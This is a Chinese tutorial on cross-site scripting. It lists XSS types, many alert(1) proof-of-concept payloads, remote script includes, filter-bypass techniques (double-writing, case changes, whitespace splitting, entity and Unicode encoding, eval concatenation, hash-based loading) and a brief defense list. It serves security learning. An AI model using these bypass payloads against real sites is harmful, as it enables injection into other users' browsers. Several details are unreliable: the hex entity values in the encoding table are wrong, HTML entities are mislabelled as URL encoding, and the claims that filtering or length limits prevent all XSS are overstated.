【漏洞】XSS跨站脚本攻击

前言

跨站脚本攻击,是代码注入的一种,它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响

本文仅用于网络信息防御学习

漏洞原理

  • 用户能够控制输入
  • 原本程序要执行的代码,拼接了用户输入的数据

漏洞种类

  • DOM型XSS
    • 在请求的参数中(也有可能存在于锚点中)实现XSS,但是仅仅对此次访问产生影响
  • 反射型XSS(Reflected)
    • 你提交的数据成功的实现了XSS,但是仅仅是对此次访问产生了影响,是非持久性攻击
  • 存储型XSS(Stored)
    • 你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发,是持久性攻击
  • 突变型mXSS
  • 通用型UXSS
  • Flash XSS
  • UTF-7 XSS
  • MHTML XSS
  • CSS XSS
  • VBScript XSS

漏洞利用

可以用于测试XSS工具的JS语句

1
alert(1)
1
confirm(1)
1
prompt(1)

可以用于XSS攻击的恶意HTML标签

script

1
<script>alert(1)</script>
1
<script src="http://127.0.0.1:80/index.js"></script>

事件自动触发

img
1
<img src="" onerror="alert(1)">
input
  • 这种方法会无限弹窗
1
<input onfocus="alert(1)" autofocus>
details
  • 页面中会有信息展示
1
<details ontoggle="alert(1)" open></details>
svg
1
<svg onload="alert(1)"></svg>
select
  • 页面中会有信息展示
  • 这种方法会无限弹窗
1
<select onfocus="alert(1)" autofocus></select>
iframe
  • 页面中会有信息展示
1
<iframe onload="alert(1)"></iframe>
video
1
<video><source onerror="alert(1)"></video>
audio
1
<audio src="" onerror="alert(1)"></audio>
body
1
<body onload="alert(1)"></body>
textarea
  • 页面中会有信息展示
1
<textarea onfocus="alert(1)" autofocus></textarea>

link包含

1
<link rel="import" href="http://127.0.0.1:80/index.js">

javascript伪协议

a
  • 需要点击才能触发
1
<a href="javascript:alert(1)">点击</a>
iframe
  • 页面中会有信息展示
1
<iframe src="javascript:alert(1)"></iframe>
form
  • 需要点击才能触发
1
<form action="javascript:alert(1)"><input type="submit"></form>

关键字绕过

双写绕过关键字过滤

  • 如果服务器做了字符串<script>匹配过滤,可以采用双写绕过

  • 只要在<script>中再插入一个<script>即可

  • 以下为举例,并不局限

1
<<script>script>alert(1)</script>

大小写绕过关键字过滤

  • 如果服务器做了字符串<script>匹配过滤,可以采用大小写绕过

  • 原理:字符串匹配会区分大小写,而JS代码执行时不区分大小写

  • 以下为举例,并不局限

1
<Script>alert(1)</script>

制表符/换行绕过关键字过滤

  • 如果服务器做了关键字匹配过滤,可以将关键字中间加入制表符或换行
1
2
3
4
<s	cript>alert(1)</script>

<s
cript>alert(1)</script>

编码绕过关键字过滤

URL编码

字符 原ASCII编码十进制 HTML可解码的ASCII编码(十进制) HTML可解码的ASCII编码(十六进制)
a 97 &#97; &#x61;
制表符 9 &#9; &#x90;
换行符 10 &#10; &#xA0;
回车符 13 &#13; &#xD0;
1
<a href="j&#97;v&#x61;script:alert(1)"></a>

Unicode编码

1
<img src="" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')">

拆分绕过关键字过滤

  • 如果服务器做了关键字匹配过滤,可以将关键字拆分成多个字符串变量,最后将字符串合并,通过eval()执行
1
2
3
<script>let a = 'a'</script>
<script>let b = 'lert'</script>
<script>eval(a+b+'(1)')</script>

引号过滤绕过

  • 如果服务器做了字符串'"匹配过滤,可以采用引号绕过

改用双引号

1
<a href="javascript:alert(1)"></a>

改用单引号

1
<a href='javascript:alert(1)'></a>

改为不使用引号

1
<a href=javascript:alert(1)></a>

空格过滤绕过

  • 利用斜线代替空格
1
<a/href="javascript:alert(1)"></a>

ShellCode调用的位置

  • 直接将xss代码写在js文件中,远程调用
1
<script src="http://127.0.0.1:80/xss.js"></script>
  • 构造出如下请求,将xss代码通过window.location.hash存储在地址中
1
?xss=<script>eval(window.location.hash.substr(1))</script>#alert(1)
  • 将xss代码写在html中,利用AJAX发送请求远程调用

  • 将xss代码写在Cookie中

过滤探测

1
<script script "'OOnn>
  • 探测代码执行后通过审查元素,查看哪些字符被过滤了
  • 可以探测到是否有引号过滤、是否有尖括号过滤、是否有关键字过滤、是否进行大小写转换

防御

  • 通过字符过滤防御所有XSS
  • 通过限制输入的字符串长度防御所有XSS
  • 通过将特殊字符转义的方式防御所有XSS
  • 通过HTTPOnly的方式存储Cookie防御通过XSS窃取Cookie
  • 通过设置CSP(Content Security Policy)控制向外发送请求的限制

完成

参考文献

哔哩哔哩——腾讯掌控安全学院 哔哩哔哩——千锋教育网络安全学院 哔哩哔哩——xiaodisec 先知社区——By七友